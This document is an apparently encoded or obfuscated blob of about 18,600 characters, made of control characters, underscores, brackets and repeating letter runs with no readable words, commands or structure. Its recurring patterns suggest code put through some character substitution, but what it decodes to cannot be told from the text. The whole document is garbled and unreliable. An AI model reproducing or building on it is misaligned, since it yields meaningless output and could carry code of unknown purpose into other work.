JW[MOOVu___u_W^ L	WNIGGVW[MOOV______[MOO___BBB_]]V___
___[MOOD[FFMHBNOOTHOD[GOFFB[FFMHRNODu___________[	G	_B__
Du________W[	G	_BBB__
V__u___[	G	____B__Du_______WLWNIOHVWLWNIFOVVV___uuuu_[ ___B____WLWNIIFVV__@______(/ <01+:1+ ;6-_E_WWLWNJIJVV_____@__>=,/>+7__E_____]]VDu____W[ ___^BB_]]V_uuu_[KMI K_B_?  W[ VDu________W[KMI K___^BB_______YY_[KMI K__AB___WMNOILMIKFRJLLKIMKFVV______[	G	__B___
Duu___u_____W^[	G	V_____u___WLWNIOHVWLWNIOGVVV__?
 WLWNIFNVS__GKFWNIFMVWVS_ L	WNJNJVVD[KLOM
BWOKKTOMVD[OB[KLOM
ZNLDu_______WIFMWNIOHVWLWNIOIVVV_u_[
HJ___B_WV____ WIFMWNIFNVS_OVDuuu___W[
HJ_YY_GKFWNIFLVWV____R_[
HJ__C_WGILOFTFNVV_____[	G	__B__Du__u_______u__________W^[	G	V__u
____[MOODuPP_(/_:_-__uu_______u[M__B______WJKFFFGHTNLV_T____LWNNKKVWOS__WNNNOOLOTLGFFHOVVDu___WIFMWNIFKVW[MOOV__AB___[MV_
___[MOODu__W L	WNIFJVWGKFWNKKKVW[MOOVS_RMV_BBB__IFMWNIFIVV_____
__[MOODuuuu_____W L	WNIFKVW[MOOV__C____[M_R______WKOJITKKVV____u_[MNKF
JHI___B_]]Du_____WGKFWNIOHVW L	WNIFHVVV___u__u____[MNKF
JHI__B___? L	WNIFGVW WWLGKTNINIVVVDu_______________W+___[NJN MV___uu____[MNKF
JHI__B__]]Du________W:_[NJN MV______u_____[MNKF
JHI____B_]]Du_____u________u___W L	WNIFKVW[MNKF
JHIV___C_WLKFITJOKVV_____u____[MNKF
JHI____B_ L	WNIGMVW
W]]S__
VVDu____WLWNIFFVW[MNKF
JHIV__C_WILFGRMLFGVV____[MNKF
JHI____QB__ L	WNIGMVW[MNKF
JHIVDu______u______[MOO__QB__]#PU]__Q___[MNKF
JHI_Q____LWNHOOVDuu____
__[MOODu___uu___
__ GH
JKHW[MOOVu__uu____W^GKFWNHONVW[MOOV__ L	WNIFFVW[MOOV______CB_____WNFLLLGFRGGKGNLVV__
___[MOOD[GJBIHMID[KKIGHHB[GJZNNDu_____[OMON
	___B__LWNILHVWIFMWNHOMVS_]]S____[MOOVDu_
_____ L	WNHOLVW[OMON
	V___@__[OMON
	__E_[MOOD[MOBKNJD[GHGBW[MOAOV@[MOER[MODuu
______OFKKF W[OGOGVuuPP__uu___W^ L	WNHOKVWIFMWNHOJVV____^IFMWNHOKVWGKFWNIOGVVV_____
Du_________W^ L	WNHOIVW[OGOGV______[OGOG______BBB_____]]_______^?LWNHOHVW[OGOGVV__
DuPP_
_uu____W^W[830=>3,$IFMWNHOGV"V______^IFMWNLGKVW[830=>3,$GKFWNHOFV"VV_u__[830=>3,$ L	WNHOFV"__B______ WGKFWNHNOVS__WVVDuuu_____W^IFMWNHNNVW[830=>3,$LWNHOFV"VV__[830=>3,$ L	WNHOFV"____B____WVDu__u_____[	HNJFIFH___B_[830=>3,$IFMWNHOFV"Du[MOO___B___?IFMWNHNMVW[OGOGVDuuu____W^IFMWNHOIVW[MOOVV_
Duuuu______WLWNIFFVW[MOOV_____A____WOJTOLJOIVV___[MOO__B__ GH
JKHW[MOOVDuu[	HNJFIFH$ L	WNIGMVW[OGOGV"___B_WXX__BA____[OGOGS__XX____BA___LWNHNLVW[MOOVS___XX____BA_GIILHWVS__XX_BA__LWNIFLVWVVDu___________WLWNJLHVW[	HNJFIFHV_____A____WNHNTMFVV__uuu___W[	HNJFIFH_____[
 MGJIMNJ_BA_[	G OV__uuu_______W^ L	WNHNNVW[	G OV______^W[	G O$XX"V____WV__[	G O$XX"_C__LWNIFLVWV___R___WMJFNFKLTJHVV___
W[	HNJFIFH$[
 MGJIMNJ"VDuuuu___u_________WLWNJLHVW[	HNJFIFHV____A__WLGJRNGJVV___u[KGL_B_____
Du__[IOL
LK_B____
Du___W[	HNJFIFH______[
 MGJIMNJ_____BA_____[	G OV__u__[M	JKG___B___LWNHNNVW[	G OV__YY_W[	G O$XX"V_@___WV__[	G O$XX"____E_ODu_____W[IOL
LK____BBB_
_______[M	JKG___C_____[IOL
LKV_u__[IOL
LK__B_[M	JKGDu__[KGL___B__[
 MGJIMNJDu____u__u______W[KGL_BBB_____
V____Du______
W[	HNJFIFH$[KGL"VDuu_uuuu_u___
 W L	WNHNKVS__[	HNJFIFHS_IFMWNJNJVVDu__[830=>3,$GKFWNHOFV"_B__[	HNJFIFHDu_u_
___
KKHW[OGOGVu_u____W^GKFWNHOIVW[OGOGV___[OGOG_BBB____]]V__
_____Du___W^W[830=>3,$ L	WNHOFV"V_______^IFMWNHNNVW[830=>3,$IFMWNHOFV"VV___uuuu____[830=>3,$GKFWNHNJV"______B_ L	WNHNIVWLWNHOJVV_@____ WIFMWNHNHVS__WVV_E__WVDu_________W^ L	WNHNNVW[830=>3,$LWNHNJV"VV____[830=>3,$GKFWNHNJV"_B_WVDuuPP_/<-:M_56+E__uuu__[	HNJFIFH_____B______[830=>3,$IFMWNHNJV"Du_____[NMN
HI__B___GKFWNHNGVW[OGOGVDu___WW[	HNJFIFH$[NMN
HI"V_____YY__ L	WNHNNVW[	HNJFIFH$[NMN
HI"V___YY__W[	HNJFIFH$[NMN
HI"$XX"VV_u________WWV_?LWNJLJVW[OGOGV__A_WJMKMGHMJTHJVV___
___LWNHNFVDu[MOO___B____?GKFWNHNMVW[OGOGVDu________WGKFWNHOIVW[MOOVV_u_______W L	WNIFFVW[MOOV_A___WOKFITOOIFMVV_____[MOO_____B_ GH
JKHW[MOOVDu__
_WIFMWNHNGVW[MOOV_BBB_[	HNJFIFH$[NMN
HI"$XX"V_@__
_E____GKFWNHNFVDu___u______
__Duuu__uu________[	MOHGM	N
__B_____?GKFWNHMOVW[OGOGS___S__
S__OS_____WNHJITMLKOVVDu__Wuuu L	WNHOIVW[	MOHGM	N
V_____YY_ L	WNHMNVWIFMWMLLVS_[	MOHGM	N
VuYY____F L	W[OGOGS___WKFJTJVVu______V__u_WWV_?GKFWNJLJVW[OGOGV__A____WNOKJJOOOTKNFHLGOOVV_
__Duuuu[MOO_B__WV_? L	WNHMOVW[OGOGVDu_____W L	WNIFFVW[MOOV______A______WNLHIIGLRLMGNOHVV______[MOO___B_ GH
JKHW[MOOVDu_W	JFO H
W[MOOVV____
_LWNHMMVDu__u____
_Duuuu__
__	L
LMWVuu_[	HNJFIFH_B___
Du______W[	HNJFIFH____^BB_
V__
_[	HNJFIFHDuu____[MOO___B_____WV__?IFMWNHMOVWNIFFOOL	OWVVDu__________W L	WNHMLVW[MOOV___A_____WNJHJINIRJMHOKOVV___[MOO____B_ GH
JKHW[MOOVDu_[	HNJFIFH____B______IFMWNHNGVW[MOOVDuu_
__[	HNJFIFHDuu
_GNG
 WVuu_____uuu
_GKFWNHMKVW	L
LMWVS__OS___WMKRNMVVDuu____
___MMH
WVuuu_______u_____
____	MGLGWV_Q_IFMWNHMJV_____Q_F
W>=,/>+7_Q_____IFMWNHMIVS_WNKRIVV__Q__ L	WNHMHVDu__u_
__GNGIKWVu___u___[ GGN__B_WVDu__WIFMWNHMGVW L	WNHOJVVV_uPP_
	_uu[M
O _____B_? WLWNHMFVS__WVVDu____WIFMWNHLOVW[M
O VV__[ GGN____B__[M
O DuPP_(/_,_=E__R	uu__u__[MOO__B___?IFMWNHOHVWMMH
WVV_@_____? L	WNHMOVWMMH
WVV_____E___]]Du__________WIFMWNHOIVW[MOOV___YY____LWNILLVW[MOOS__IFMWHINVV___BBB__OV____u__[LM  _B_ L	WLIMVWGKFWNHLNVW[MOOS___WMMF!MMKVVS__
VDu____WGKFWNHLOVW[LM  V_YY_WW[ GGN$LWNHLMV"V____W^W[LM  $GKFWNHLLV"V__YY__[LM  $IFMWNHLLV"____AB_____[ GGN$LWNHLLV"VVV_____[ GGN__B__[LM  Du___u__
__[ GGNDu________u__
__IJL	FGFLMFW[NGMML		KVu______uPU_	__UPuu_____u___________W^W L	WNJIJVVV____
Du__[N	GH
___B___GKFWNIFLVWVDu_______W[NGMML		K_BBB___IFMWNHLKV____[NGMML		K__BBB_IFMWNHLJVV__u[	__B___GNGIKWVDu__Wu_W[	$GKFWNHLIV"S__[	$GKFWNHLHV"V__YY_[	$GKFWNHLIV"____BBB__[NGMML		Kuuuu___YY____[N	GH
____R___WV__[	$GKFWNHLGV"____C__W[NGMML		K____BBB_LWNHLJV_@___WLIIRIIV__E____WFTNVVuuu_V_____
Du_uPP_
_uu___[ GGN__B__Wuu______X	X___BA_GIILHWVSu____IFMWNHLFV____BA___GNG
 WVSu_LWMLKV__BA__NIFFOOL	OWVSuuuLWNLJMV___BA_IFMWNIHIVWNIFFOOL	OWVS_____ L	WNHMHVVSuu_GKFWNHLIV_BA_____[NGMML		KSu__LWNHKOV__BA____[N	GH
Su__GKFWNHLGV__BA_[N	GH
Su L	WNHLLV___BA_W[ ,:-):-$IFMWNHKNV"V__@_WV_____[ ,:-):-$GKFWNHKNV"__E___[N	GH
SuVDuuu______W L	WNHMGVW L	WNIOGVVV____?
 W L	WNHKMVS__[ GGNS_____GKFWNHKLVVDu_[HN
O_B__	MGLGWVDu___W?LWNLHHVW[HN
OV_______ NKKW[HN
OS___WGJGRLIJVS___
VV_u?GKFWNNLHVWMMH
WVS___LWHINV___Q_ L	WNLIMVW[ GGNVVDu_______u___________W+___[NJN MV_u_______W:____[NJN MV____u__u_uuuu_
_____
NM	
HW[ GGNVu______u_______W^GKFWNHKKVW[ GGNV______W[ GGN$GKFWNHKJV"V__^GKFWNHKIVW[ GGN$IFMWNHKJV"VV__
____GKFWMLHVDu____[LLMHN__B_[ GGN$IFMWNHKHV"Du_____________W^?IFMWNHKGVW[LLMHNV____WV_?IFMWNHKFVW[LLMHNV__C_WKKGTJMVV__
___ L	WMLHVDu__W	OJW[LLMHNVV__
___GKFWMLIVDu___[ML 	 
____B_W[ GGN$IFMWNHLIV"V_@___[ GGN$GKFWNHLIV"___E______]]Du___[L HL	_B______W[ GGN$IFMWNHJOV"V____@__WV___[ GGN$ L	WNHJOV"__E_ODuuu____W[ML 	 
__BBB__ L	WNHLJVV_____
___W[L HL	__A_O__YY___LWNIFLVWV__R____[L HL	___CB_WLJGOTMOVV_@_____IFMWNHJNV___E_GKFWNHJMVDu___W[ML 	 
__BBB___GKFWNHJLVV__
_GKFWNHJKVDu___W[ML 	 
____BBB__IFMWNHLKVV__
_W[L HL	__A__O___YY______LWNIFLVWV_____R__[L HL	__CB__WONITOIMVV__@__GKFWNHJMV_E______LWNHJKVDuuu__
____IFMWNHJJVDu_____u__
__H	JM
JHHW[OGOGVu__u__W^?LWNHKGVW[OGOGVV___
_____Duu__[FOM__B____WV__? L	WNHJIVW[OGOGVDu_______W[FOM_____C__WONLOTOKV_____[FOM____A__WGLIHJLNTKKOINMIFVV____
______Duu_____[	MOHGM	N
_B__?IFMWNHMOVW[OGOGS__S___
S____OS_WKOJHTLFVVDu___W^LWNHKIVW[	MOHGM	N
V_______^IFMWNHMNVWGKFWMLLVS_[	MOHGM	N
VV___
___Du_____W[FOM___A_WNOKGJLLTKLVV_u____[M____B__?IFMWNHJHVW[OGOGS___S__
S__[FOM____R_WKOIKTLMVVDu
_IFMWNHJGVW[MV_YY_IFMWNHMNVW L	WNHJFVS_____[MV____BBB_NDuuuuuuu___[MOO_____B___? L	WNHIOVW[OGOGVDu_____W^GKFWNHJGVW[MOOVV___
__Du___
__	JFO H
W[MOOVDu_u_
____	OJW[OGOGVu_u____[	M	O____B_ L	WNIHIVW[OGOGS__ L	WNHINVVDu__WWIFMWNMIFVW[OGOGVS_
 F	G	KOOWVV___[NKOILV__u____[H IMIM___B__[NKOIL__Q___LWNHIMV__Q_[	M	ODu_____W^? L	WNHILVW[H IMIMV___WV__?IFMWNHIKVW[H IMIMV__C_IFMWNIFLVWV__R___WIOKHFHTLVV_
Duu_[KMMOJ__B_LWNMGNVWWV__?IFMWNHIOVW[H IMIMVVDuuu____W[KMMOJ____BBB_]]V____
Duuu__[MOO___B__WV__?GKFWNHIOVW[OGOGVDu___WGKFWNHMLVW[MOOV____A____WNOKGJNGTJGVV___[MOO___B__ GH
JKHW[MOOVDuuu___W[MOO___^BB___]]____YY__LWNHIJVW[MOOV__BBB______[KMMOJV_
___
Du_u_
_____Duu
_LL 	W[OGOGVu__u________W^ L	WNHMGVWIFMWNHOJVV_______^IFMWNHMGVWIFMWNHIIVVV_____
Du____[MGM_B______? W L	WNHIHVS_WVVDu_____W^LWNHKKVW[MGMVV__[MGM_B__WVDu_[MGM$IFMWNHIJVW[OGOGV"__B___[OGOGDu_W L	WNJLHVW[MGMV__A__WNFTNVV__[MGM_B_____GKFWNHIGVW[MGMS____RWOTOIVS__
S_
VDu__?
 WGKFWNHIHVS_[MGMS___ L	WNHKLVVDu___uuuu______
____J	IN	LWVuu____W^ L	WNHMGVWIFMWNHOJVV________^GKFWNHMGVWGKFWNHIIVVV______
Du_______[MGM_B__? WIFMWNHIHVS_WVVDu_____W^IFMWNHKKVW[MGMV___W[MGMVV_
Du__[	IIFO_B__WVDuuuu__W[MGM____[
 MGJIMNJ_____BA__[LLMHNV_____u_____W^LWNHJGVW[LLMHNV_________[LLMHN___BBB__]]_____^?IFMWNHILVW[LLMHNVV_____
Du________W
KKHW[LLMHNV____BBB__V___[	IIFO$[
 MGJIMNJ"_B____[LLMHND_
D_uu__L 
	W[LLMHNS___WLJKTIIVVDu__WO
	LW[LLMHNVV__[FJLO		BNJTLID[JB[FJLO		RMMDu____WLWNHMGVW L	WMOOVVV___? 	W[LLMHNS__
VDu______W?GKFWNHILVW[LLMHNVV___u__[	IIFO$[
 MGJIMNJ"_B___[LLMHNDu____u_____u____?
 W L	WNHIHVS______[	IIFOS____GKFWNHKLVVDu_______u_
__	J WVu______u__uuuu[NJN M__B___GKFWNHMGVWGKFWNIHVV__@__?  WV_E____
Du______Wu_IFMWNHKKVW[NJN MV____YY_^W[NJN M$LWNIFV"V_YY__^W[NJN M$ L	WNHOV"Vu_YY_IFMWHFIVW[NJN M$LWNHOV"S_W: :--0-S__: />-,:S__: <0-: :--0-S______: <02/63: :--0-S______: *,:- :--0-VS__
Vu_V_____u_[IJ	LG___B__? L	WGLGVWNIFFOOL	OWVVDu____uuuu_______[ _____B_?GKFWGLGVW[NJN M$IFMWNIFV"VDuuuu________WIFMWNHJGVW[IJ	LGV_YY___LWNHJGVW[ V_YY____[ _BBB_[IJ	LGV__
Du__u___IJL	FGFLMFWLWNHJNVVDu_WWLWNJIJVVV_u_[GGIFNJHK_____B___KLML KWVDu_uu__W?GKFWNHILVW[GGIFNJHK$N"VV_____u__[IMILKN___B___?IFMWNHIOVW[GGIFNJHK$N"S__S_____
S_OS__WMLH!NHLVVDuu___WLWNHJGVW[IMILKNV_YY_ L	WNILLVW[IMILKNS__IFMWNJHMV_Q___GIILHWV_Q___XEXV___BBB____OV__uuu[
FI___B__?GKFWNHILVW[GGIFNJHK$N"___Q_LWNHIFVV______@_____? L	WNHIOVW[GGIFNJHK$N"_Q_LWNHHOVS___S_____
S__OS_WKJTNFVV_E_____]]Du_W[
FI_^BB___[IMILKNV_____?IFMWNHHNVW[GGIFNJHK$N"S___[GGIFNJHK$N"_____Q_GKFWNHHMVVDu__u__u_
W[GGIFNJHKS__[IMILKNS__[
FIVDu________u__________W+_[	G	OFV___u_____________W:_[	G	OFV_uuu_
__NIHJ
MJW[	NVu____uuuu_W^GKFWNHHLVW[	NVV___
____]]Du__WIFMWNHHKVWIFMWNHHJVS_[	NS__[	MJNVV__u______W[	MJN$N"_______[O
V___u__WHIMHNKNWGKFWKOMVW[O
S____
VVV______
_]]Du______u___uuuu__WIFMWNHHIVWLWNHHHVS_[	NS____[	MJNVV____u______W[	MJN$N"_______[O
V_u_____WHIMHNKNWW[O
VVV___
____]]Du___W L	WNILLVW[O
S___GKFWNHHGVV__^BB_V_[JNGJL
B/7/ 2>50- ):-,601D[O

IB[JNGJL
UKDu____[MIM ___B__  W L	WNHHFVS_ L	WNHGOVS____[O
VDu______WLWNHHLVW[MIM V_YY_[MIM __^BB___[O
___YY_HIMHNKNW[MIM VV__
___]]Du__u______u_u___WGKFWNHHIVWGKFWNHGNVS__[	NS__[	MJNVV___uuu_____W[	MJN$N"_____[O
V_uuu__WHIMHNKNW L	WNHGMVWW L	WNHGLVS__GKFWNHGKVVS__WX##XS_X#XXVS__[O
VVV__
_]]Duuuu___WLWNILLVW[O
S__IFMWNHHGVV_^BB__V___u[MIM ____B____  WIFMWNHHFVS___IFMWNHGOVS_[O
VDu______WGKFWNHGJVW[MIM V___YY_[MIM ____^BB___[O
_____YY___HIMHNKNW[MIM VV____
______]]Duuuu______u___u_u
__[	NDuu
__FN	W[
HHJ Vu____u____W^GKFWNHGJVW[
HHJ V___WGKFWNILLVW[
HHJ S___IFMWNHGIVV_BBB_______YY______GKFWNHGHVW[
HHJ S___LWKOMVV_BBB___VV_
______Duuuu_____WGKFWNHHIVWIFMWNHHJVS_[
HHJ S_[	MJNVV_uuu___W[	MJN$N"________[O
V___u____WHIMHNKNWLWKOMVW[O
S____
VVV_
__
Du__u_u__W L	WNHHIVWGKFWNHHHVS__[
HHJ S____[	MJNVV____uu______W[	MJN$N"_____[O
V____u______WHIMHNKNWW[O
VVV_
____
DuuPP_?
_uu___W[	MJN$N"___[O
V_uuuu_______WLWNHGGVW[O
S_IFMWNHHGVV___BBB__V___
Duuu[MIM _B____  W L	WNHHFVS__LWNHGOVS______[O
VDu_______WIFMWNHGJVW[MIM V__YY__[MIM _^BB____[O
__YY__HIMHNKNW[MIM VV__
_
Du_u__u______WLWNHGFVWLWNHGNVS_____[
HHJ S_____[	MJNVV_____uuu_______W[	MJN$N"______[O
V_uu__WHIMHNKNWIFMWNHGMVWWGKFWNHGLVS___IFMWNHGKVVS__WX##XS_X#XXVS___[O
VVV____
__
Duuu__u_________W[	MJN$N"________[O
V_u____WLWNHFOVW[O
S__IFMWNHHGVV_BBB___V__
Du_[MIM _B_  WLWNHHFVS_LWNHGOVS_[O
VDu___W L	WNHFNVW[MIM V_____YY___[MIM ____^BB______[O
___YY_HIMHNKNW[MIM VV____
___
Duuuu_____
____Duuu___u_
__NJIN	FW[
HHJ Vu___[MHBNFJNLD[H	JM GFB[MH!NHDuuuu_________W^ L	WNHFMVW[
HHJ V___[
HHJ _____BBB__]]V_
_]]Du___
_WGKFWNHMNVWGKFWNHFLVS__LWNHFKVW[
HHJ S___OS_WNMILTIFMFVVS____[	HNJFIFHVV__@_[	HNJFIFH$N"___E__]]Duu_
_
FKNLW[MOOS___[ S_[	I ONG__B_
Vu[HKNHJBRKGND[HNF
BW[HKNHJAOV@[HKNHJER[HKNHJDu________W^ L	WNHFJVW[MOOV___[MOO___BBB____]]V__
__[MOODu_[LO	__B_____IFMWNHFIV_Q__[ _____Q___GKFWFIFVDu_[	L _B_]]Du___[HMI H__B__ODu_______W[HMI HTT_____C_____WKCCJVV_____u_______[IJF____B___ L	WNHFOVW[MOOS_[LO	VDu_W[IJF___BBB_V___Du__[IIH___B_[IJF_____T__IFMWNHMLVW[LO	VDu__[IIJ_B__IFMWNHFOVW[MOOS__GKFWNIMHVS__[IIHVDu_______W[IIJ___BBB_________[IIJ___R____[IIH___A__WKO!NOKVV__u_____[	L ___QB__IFMWNHFKVW[MOOS__OS___[IIHVDuu____[MOO___B____ L	WNHFKVW[MOOS__[IIHVDu
Du_______u_____[	NONON___B___GKFWNHFKVW[MOOS___[IIHS__[IIJ_R__[IIHVDu_uu________W^ L	WNHMNVWIFMWNHFHVS_[	NONONVV___u___[	L ___QB_ L	WNHFGVW[MOOS____OS_[IIHVDu_[MOO___B____IFMWNHFGVW[MOOS___[IIHVDu
Du____u[GKJKK____B____ L	WNHFFV__Q_[ _Q___ L	WNGOOV_Q__[	NONON___Q_GKFWNIMHVDu___[GHHN_B_____GKFWNHFOVW[MOOS__[GKJKKS___[IIJVDu____W[GHHN__BBB___V_Duu____[	L __QB___LWNHFGVW[MOOS____OS___[IJFVDu_______[	O	_B____GKFWNHFGVW[MOOS___[IJFS____[GHHN_T__IFMWNGONVW[GKJKKV_R____[IJFVDu____W[	I ONG_^BB__
V____u________[MNKF
JHI__B_GKFWLLJVW[	I ONGS___[	O	VDu__WLWNHFJVW[MNKF
JHIVV__[	L _QB__[MNKF
JHIDuuu_____u_[	L ____QB______[	O	D[JK KB/7/ 2>50- ):-,601D[NOMHB[JK KUJDuu______u[MOO_B_GKFWNHFGVW[MOOS____[GHHN____T__GKFWNGONVW[GKJKKVVDu_uu_uu_
__[	L __Q______[MOODuuu_u__
___IH
JLNLGW[	NVuuuu_
_]]Du_uu_____u__
___	HLL
NOGW[	NVu___uu__W^LWNHFJVW[	NVV__
_]]Duuu__W^WIFMWNJIJVVV__
_[	NDu_[NF__B__F
W>=,/>+7____Q__LWNGOMVS_____WKCCNVVDu____________WIFMWNHMNVWIFMWNGOLV_Q__[NF___Q__LWNGOKVS_[	NVV____
_]]Du__
_____[	NDu___u_
_____	 IJGW[MOOVuu__W^ L	WNGOJVW[MOOV_______[MOO____BBB_]]V_
___[MOODu___[OMON
	__B_
FKNLW[MOOS___IFMWNGOIVS__LWNGOHVVDu____[OMON
	__B__
FKNLW[OMON
	S_LWNGOGVS__ L	WNGOFVVDu______WIFMWNGNOVW[OMON
	VV_[OMON
	__B__IFMWNILHVWIFMWNGNNVS______]]S___[OMON
	VDuuuu____W^GKFWNGNOVW[OMON
	VV______[OMON
	__B_[MOOD[	GJFB/7/ 61+ 2>'P/7/ 61+ 2>'D[

 B[	GJFTFNDu_______WFN	W[OMON
	VV____uu____[OMON
	_B___
FKNLW[OMON
	S___LWNGOIVS_IFMWNGNMVVDuuu[OMON
	_____B__
FKNLW[OMON
	S__GKFWNGNLVS_____GKFWNGNMVVDu_____WGKFWNGNKVW[OMON
	VV___[OMON
	__B____IFMWNILHVWLWNGNNVS__]]S__[OMON
	VDu_uu_
______IFMWNGNKVW[OMON
	V_@__[OMON
	__E_[MOODuuu__
_OH

LJFLHW[MOOVu___u______W^ L	WNGNKVW[MOOV__^WIFMWNJIJVVV_
_Du______W L	WNHMNVWGKFWNGNNVS__[MOOVV___
_
Duuuu[
____B___F
W>=,/>+7__Q____IFMWNGNJVS___WOITOMVVDu_WIFMWNHGFVWLWNGNIVS_[MOOS____[JMKFVV_u___W[JMKF$N"_________[NMGV______u_______W L	WNHFGVW[NMGS___RWKTJVV___BBB__XEX__Q__[
V__
______
Du_______uuuu_[ _____B__LWNHFGVWGKFWNHIJVW>=,/>+7____Q__LWNGNHVVS___OS_____WNMRKVVDu_______WIFMWNHGFVWLWNGNGVS__[MOOS__[ VV_uPP_(/_,_=_
_uu____W[ $N"_____[O
OV____u_W[O
O____BBB___[ V__
_
Du__u_u
____Duuu____u_
_FN 
NWVuu___u___W^W[ 8:+$LWNGNFV"V___^GKFWNGNKVW[ 8:+$GKFWNGNFV"V______^GKFWNHMGVW L	WNHOJVVV__
Du_____[ML 	 
__B____? W L	WNGMOVS__WVVDu_W^ L	WNGMNVW[ML 	 
VV___
Du_[GHGIGKL__B_WV_[ 8:+$ L	WNGMMV"Du_[G	KGH_B_WVDu__WW[ML 	 
$XX"VV____[G	KGH$"___B_WV____[ML 	 
$XX"Du_______WW[ML 	 
$ L	WILOV"V__YY_____IFMWNGMNVW[ML 	 
$LWILOV"VV_u______W[ML 	 
$LWILOV"_____[F
V_uuu______WIFMWNGMNVW[F
V______YY_____W[F
$XX"VV__[G	KGH$"_B_____WV____[F
$XX"Du______u_u_[	
HMF	__B_Du_______W[G	KGH____[MV___[LLB/7/ 2>50- ):-,601D[	GB[LLUJDu___W[M____BBB_]]V___
Du__[	
HMF	_B____IFMWNHMGVWIFMWNGMLVV___@_ 
W[MS_____[GHGIGKLV_E____W[M_BBB______[GHGIGKLVDu____W[	
HMF	V____Du__uPP_?	_
uu___W^[	
HMF	V_
Duuuu___WLWNHMGVWLWJMMVVV__uuuu___LWJMMVW
__WV_
_W[GHGIGKLV__u__________]#C^RR,<4E]____Q_[GHGIGKL__Q__GKFWNGMKVDu_VDuu____u_u_
__	FHJM 
WVu_____u________W^LWNGMJVWLWNHOJVVV__
__Duuu__[	HNJFIFH_____B__? WLWIMJVS__]]VDuuuu__W^IFMWNGNKVW[	HNJFIFHV_____GKFWNHFOVW[	HNJFIFHS___GKFWNGMIVV_^BB_OV_
____Du[L HL	___B____WV__ L	WNHFGVW[	HNJFIFHS_WNGF!NGHVVDu_________W[L HL	__YY____ L	WNGMHVWV___R__[L HL	_A___WGILJITKKVV_
_Du
_____
Du_u
_ON F
JW[OGOGS_[
J
GVuuPP_2_E_
_uu_________W^LWNGMJVW L	WNHIIVV___^IFMWNGMGVW L	WJMMVVV_
__Duu_______W	FHJM 
WVV____
_
Du_____[ML 	 
___B__? WLWNGMOVS___WVVDu____W^ L	WNGMNVW[ML 	 
VV__[ML 	 
_B_____WVDu_________W^W[ML 	 
$IFMWNGMFV"V___^IFMWNGMNVW[ML 	 
$LWNGMFV"VV__uuuu[LKHG_B_____WVDuuu___WW[ML 	 
$XX"S__[ML 	 
$XX"S_[ML 	 
$XX"VV___uPP_	__Ruu_____[LKHG$GKFWNHIJVWWV___[ML 	 
$XX"V"__B__WXX____BA__WV_[ML 	 
$XX"S_____XX___BA__WV___[ML 	 
$XX"S__XX__BA_____WV_[ML 	 
$XX"S_____IFMWNOGOV_BA_W[ML 	 
$ L	WNOGOV"V__@___WV__[ML 	 
$IFMWNOGOV"__E__GKFWNGMHVWVS_IFMWNGLOV___BA_OS__XX____BA_OVDu_u____[ML 	 
__B__WGKFWNGMFV__BA__[LKHGVDu__u___[	NONON_B_____IFMWNHIJVW[OGOGVDuu________WW[ML 	 
$LWNGMFV"$[	NONON"VV_u_____[ML 	 
$LWNGMFV"$[	NONON"$GKFWNOGOV"______B___IFMWNGLNVWVDuuuu__[ML 	 
$IFMWNGMFV"$[	NONON"$ L	WNGLMV"___B____ODuuu_____[ML 	 
$GKFWNGMFV"$[	NONON"$XX"_B__W[
J
G__BBB___]]V___@_N___E___ODu_W^
LKLJ	NW[ML 	 
$LWNGLLV"$[	NONON"$XX"S______[
J
GVV__u________KKGMM 

W L	WNGLKVS_____GKFWNGLJVVDu_
____Du__uu____u_______[HN
O__B___	MGLGWVDu_[FKL_B___[HN
O__Q__IFMWNGLIV___Q__F
W[OGOGS__WNFRHVV___Q____GKFWNGLHVDu_W^
LKLJ	NW[FKLS___[
J
GVV__uKKGMM 

WIFMWNGLKVS______LWNGLGVVDuuuu_____
__Duuuu_u__[ML 	 
$GKFWNGLLV"$[	NONON"____B__WXX_BA____KNIOHMONWWKH!ILVVS___XX_BA_____[OGOGS_____XX_BA____[FKLS_GKFWNOGOV_BA_ L	WNGLFVWVS_LWNGKOV_BA_OS_XX__BA_W[
J
G__BBB___]]V______@_N____E___OVDuu_u__________WGKFWNGKNVW[ML 	 
$ L	WNGLLV"V___A_____WNKRKVV_u____[KGL_____B__
Duuuu_____[IOL
LK____B_
Duuu____W[ML 	 
$GKFWNGLLV"____[NMN
HI_BA__[GINNOV_uuu_______W[IOL
LK___BBB___
__WV_[GINNO$LWNOGOV"__C_____[IOL
LKV_[OBWOTOHKVD[K  	B[OZFDuuuu_______[IOL
LK__B_WV_[GINNO$IFMWNOGOV"Du[KGL_B___[NMN
HIDuu_u__u_____W[KGL__BBB___
V_Du_O
	LW[ML 	 
$ L	WNGKMV"$[KGL"$XX"VDu___
W[ML 	 
$IFMWNGKMV"$[KGL"VDu______uu_____?
 WLWNGKLVS____[ML 	 
S____GKFWNHKLVVDu___ L	WJMMVWLWNGKKVVDu_
___
Du_uuu____
_OGMGN
KW[GNIVu_____uuuu___[	__B_?LWNGKJVW[GNIS__WGKFWNNJLV___BA__WFTLVS____LWNNKIV___BA__S__GKFWKKGV_BA__
S______GKFWNGKIV_____BA__OS_____GKFWNNKGV__BA__WLWNNKFV_____BA_LWNGKHVS_____ L	WNGKGV____BA__LWNNJOVVVVDu_________WLWNGKFVWLWNGJOVV__YY_  W[	VV__
_WRNS_VDu______[KGJMO
N______B__LWNGKFVWIFMWNGJNVV___@_WV___  	  W[	V__E_ODu__
__W[KGJMO
NS__[KGJMO
N____A__O_YY____IFMWNGJMVWLWNGJLVV_@_WV_____  	 W[	V___E_]]VDu__u
___	L IH	W[F
Vuu__[NHNHG______B___? L	WNGJKVW[F
$XX"VD[KNKIK
GKBNGUJD[NB[KNKIK
GKRKODuu__W^ L	WNGNKVW[NHNHGVV_
_Du_________W[NHNHG____BBB_____]]V_u___WW[F
$XX"VV_
__D_u____[OG___B__^?GKFWNGJJVW[F
$XX"VDu_______W^[OGV_____[KKLB/7/ 61+ 2>'P/7/ 61+ 2>'D[I 	B[KKLTMJDu____L 
	W[F
$XX"S__WLHFTKNVVDu_______[OG__B_O
	LW[F
$XX"VDu___u_____WLWNGJMVW L	WMOOVVV_? 	W[F
$XX"S_
VDu__
_[OGD[JO	B/7/ 2>50- ):-,601D[FMB[JO	UNDu____u___________W^
LKLJ	NW[F
$XX"S__[NHNHGVV____
__Duu_______WIFMWNGJMVW L	WMOOVVV__? 	W[F
$XX"S__
VDuuu____
___
Duuuu____
____
 KNWVu__u_W^IFMWNGJMVWLWNGJIVVV__
Du__[ML 	 
__B__? WLWNGKLVS_WVVDuuu______W^ L	WNGMNVW[ML 	 
VV_
Du___________W^W[ML 	 
$ L	WNGKMV"V____^GKFWNGMNVW[ML 	 
$LWNGJHV"VV______u___[LKHG__B_WVDu_________WW[ML 	 
